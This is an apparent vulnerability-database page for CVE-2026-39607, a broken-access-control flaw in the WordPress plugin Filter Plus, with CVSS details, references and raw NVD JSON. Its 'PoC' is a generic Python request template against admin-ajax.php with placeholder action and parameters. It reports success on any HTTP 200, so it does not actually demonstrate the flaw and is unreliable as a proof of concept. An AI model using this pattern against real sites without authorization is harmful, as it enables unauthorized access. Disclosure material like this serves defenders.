CVE-2026-39607

Description

Missing Authorization vulnerability in Wpbens Filter Plus filter-plus allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Filter Plus: from n/a through <= 1.1.17.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Wpbens Filter Plus <= 1.1.17

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Low privilege user session cookies (obtained after login)
cookies = {
    "wordpress_logged_in_...": "low_priv_user_session_token"
}

# Payload to exploit the missing authorization vulnerability
# The specific 'action' parameter depends on the vulnerable plugin hook
data = {
    "action": "vulnerable_plugin_action",  # Replace with actual action name
    "param1": "malicious_data"
}

try:
    response = requests.post(target_url, data=data, cookies=cookies, timeout=10)

    if response.status_code == 200:
        print("[+] Exploit successful! Server responded:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except requests.exceptions.RequestException as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39607
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39607
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39607/
[4] VulDB https://vuldb.com/cve/CVE-2026-39607
[5] https://patchstack.com/database/Wordpress/Plugin/filter-plus/vulnerability/wordpress-filter-plus-plugin-1-1-17-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39607", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:30.033", "lastModified": "2026-04-24T18:06:58.907", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Wpbens Filter Plus filter-plus allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Filter Plus: from n/a through <= 1.1.17."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/filter-plus/vulnerability/wordpress-filter-plus-plugin-1-1-17-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}